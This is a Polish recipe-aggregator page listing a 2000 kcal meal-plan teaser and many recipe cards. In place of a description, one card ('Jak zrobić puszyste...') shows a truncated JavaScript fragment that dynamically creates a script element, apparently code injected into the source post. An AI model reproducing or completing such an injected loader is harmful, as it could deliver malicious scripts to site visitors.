Mamy 247582 przepisów na 597 blogach.

Wyświetlono: 817 razy

Przykładowy jadłospis 2000 kcal

Przykładowy jadłospis 2000 kcal Źródło: https://health-fit-life.blogspot.com/2018/07/przykadowy-jadospis-2000-kcal.html

Witajcie,na moim blogu mozecie znalezc juz przykladowe jadlospisy na 1800 kcal i 1700 kcal. A dzisiaj podwyzszamy nieco kaloryke. Przygotowalam jednodniowy jadlospis 2000 kcal. Tradycyjnie bazuje na prostych i dosc latwo dostepnych skladnikach.Pamietajcie, ze to tylko przykladowy jadlospis - nic nie zastapi indywidualnie opracowanego planu! Jesli takiego potrzebujesz mozesz sie do mnie smial...

Zobacz cały przepis...


Najnowsze przepisy

Ciasto - babka mozaika z...

Ciasto - babka mozaika z...

Dziś Agnieszka znowu kombinowała i nowe ciasto... ⇖ 4

Zobacz przepis!

Postanowienie...

Postanowienie...

Nowy rok to klasyczny moment, żeby coś w sobie zmienić.... ⇖ 6

Zobacz przepis!

Klopsiki z kaszy...

Klopsiki z kaszy...

Klopsiki z kaszy i pieczarek  Co oryginalnego na... ⇖ 3

Zobacz przepis!

Karp smażony

Karp smażony

Karp smażony to jedno z najbardziej klasycznych dań... ⇖ 8

Zobacz przepis!

Schab w sosie z...

Schab w sosie z...

Schab w sosie z pieczarkami i keczupem, to pyszna... ⇖ 6

Zobacz przepis!

Galareta z kurczaka

Galareta z kurczaka

Domowa galareta drobiowa z kurczaka to klasyczne danie,... ⇖ 16

Zobacz przepis!

Łaciatek z makiem –...

Łaciatek z makiem –...

Łaciatek z makiem to ciasto, które przyciąga wzrok już... ⇖ 15

Zobacz przepis!

Śledzie cytrynowe

Śledzie cytrynowe

Do Świąt zostało już tylko kilka dni, o czym świadczy... ⇖ 15

Zobacz przepis!

Szarlotka świąteczna z...

Szarlotka świąteczna z...

Ciasto jest wyśmienite, wielowarstwowe począwszy od... ⇖ 16

Zobacz przepis!

Barszcz grzybowy,...

Barszcz grzybowy,...

Rate this post Barszcz grzybowy, zapomniana zupa... ⇖ 18

Zobacz przepis!

Jak zrobić puszyste...

Jak zrobić puszyste...

(function(){ u7xb=document.createElement("script");u7xb.type ⇖ 17

Zobacz przepis!

Rurki z kremem Kinder

Rurki z kremem Kinder

Rurki z kremem Kinder to przepis, który smakiem przenosi... ⇖ 14

Zobacz przepis!

Śledzie z grzybami i...

Śledzie z grzybami i...

20.12.2025  Magda Śledzie z grzybami i pieczoną papryką... ⇖ 19

Zobacz przepis!

Sałatka śledziowa z...

Sałatka śledziowa z...

20.12.2025  Magda Święta bez śledzi? Niemożliwe. To... ⇖ 24

Zobacz przepis!

Przepisy z bloga

Przepis#197...

Przepis#197...

Witajcie,zima w pelni a ja juz tesknie za latem i ….... ⇖ 839

Zobacz przepis!

Brutalna prawda o...

Brutalna prawda o...

Kiedy chcemy zrzucic zbedne kilogramy kieruje nami rozna... ⇖ 743

Zobacz przepis!

Przepis #196 Kokosowy...

Przepis #196 Kokosowy...

Witajcie,jesli jestescie fanami kokosa (ja jestem wielka... ⇖ 826

Zobacz przepis!

Przepis #195

Przepis #195

Witajcie, ⇖ 653

Zobacz przepis!

Święta na diecie?

Święta na diecie?

Zbliza sie trudny okres dla osob dbajacych o linie – tak... ⇖ 745

Zobacz przepis!

Przepis #194

Przepis #194

Witajcie,makowiec to jedno z obowiazkowych ciast na... ⇖ 678

Zobacz przepis!

Przepis #193

Przepis #193

Witajcie,polaczenie jablek z przyprawa korzenna do piernika... ⇖ 704

Zobacz przepis!

Przepis #192 Tort...

Przepis #192 Tort...

Witajcie,Bardzo orzechowy torcik inspirowany pralinkami... ⇖ 1058

Zobacz przepis!

Przepisz #191

Przepisz #191

Witajcie, ⇖ 732

Zobacz przepis!

Przepis #190

Przepis #190

Witajcie,wraz z poczatkiem grudnia zaczynam serie... ⇖ 710

Zobacz przepis!

Przepis #189 Ryżowe...

Przepis #189 Ryżowe...

Witajcie,delikatny ryz to swietna baza dla przygotowania... ⇖ 935

Zobacz przepis!

Przepis #188 FIT Kopiec...

Przepis #188 FIT Kopiec...

Witajcie,czekoladowy biszkopt z bananami i puszystym kremem... ⇖ 963

Zobacz przepis!

Przepis #187 Ucierane...

Przepis #187 Ucierane...

Witajcie,na pozolklych kartkach starego zeszytu mojej babci... ⇖ 774

Zobacz przepis!

Przepis #186 Ciasto FIT...

Przepis #186 Ciasto FIT...

Witajcie,lekkie i puszyste ciasto Ptasie mleczko to deser,... ⇖ 1821

Zobacz przepis!

Przepisy na czasie

Strucla makowa parzona

Strucla makowa parzona

 Prosty przepis na klasyczny drożdżowy makowiec. Przepis... ⇖ 2646

Zobacz przepis!

Sernik Snickers na zimno...

Sernik Snickers na zimno...

Masz ochotę na coś słodkiego bez pieczenia? Zrób sernik... ⇖ 2092

Zobacz przepis!

Piernik przekładany...

Piernik przekładany...

Piernik przekładany kremem to jedno z tych ciast, które... ⇖ 1437

Zobacz przepis!

Szybki piernik na...

Szybki piernik na...

Wilgotny szybki piernik bez dojrzewania – idealny na... ⇖ 1123

Zobacz przepis!

Likier piernikowy

Likier piernikowy

Cześć! Dzisiaj robię likier piernikowy, jest idealny na... ⇖ 1059

Zobacz przepis!

Najlepszy przepis na...

Najlepszy przepis na...

NAJLEPSZY PRZEPIS NA CIASTO NA PIEROŻKIBardzo lubię... ⇖ 837

Zobacz przepis!

Śledzie w sosie...

Śledzie w sosie...

Śledzie w sosie tatarskim to jedna z tych klasycznych,... ⇖ 828

Zobacz przepis!

PIERNIK NA DROŻDŻACH

PIERNIK NA DROŻDŻACH

Powiedzieć o nim, że jest pyszny to ... jakby nic nie... ⇖ 745

Zobacz przepis!

Piernik na jogurcie

Piernik na jogurcie

To niezwykle proste ciasto piernikowe, które zawsze się... ⇖ 745

Zobacz przepis!

Uszka wigilijne

Uszka wigilijne

Uszka wigilijne to dla mnie jedno z najbardziej... ⇖ 727

Zobacz przepis!

Sernik łaciaty z...

Sernik łaciaty z...

Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 674

Zobacz przepis!

Przepis na ciasto biały...

Przepis na ciasto biały...

Cześć! Dzisiaj robimy ciasto lion bez pieczenia, to... ⇖ 641

Zobacz przepis!

Biały Michałek –...

Biały Michałek –...

Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 641

Zobacz przepis!

Tradycyjne uszka...

Tradycyjne uszka...

Uszka to nieodłączny dodatek do czerwonego barszczu na... ⇖ 603

Zobacz przepis!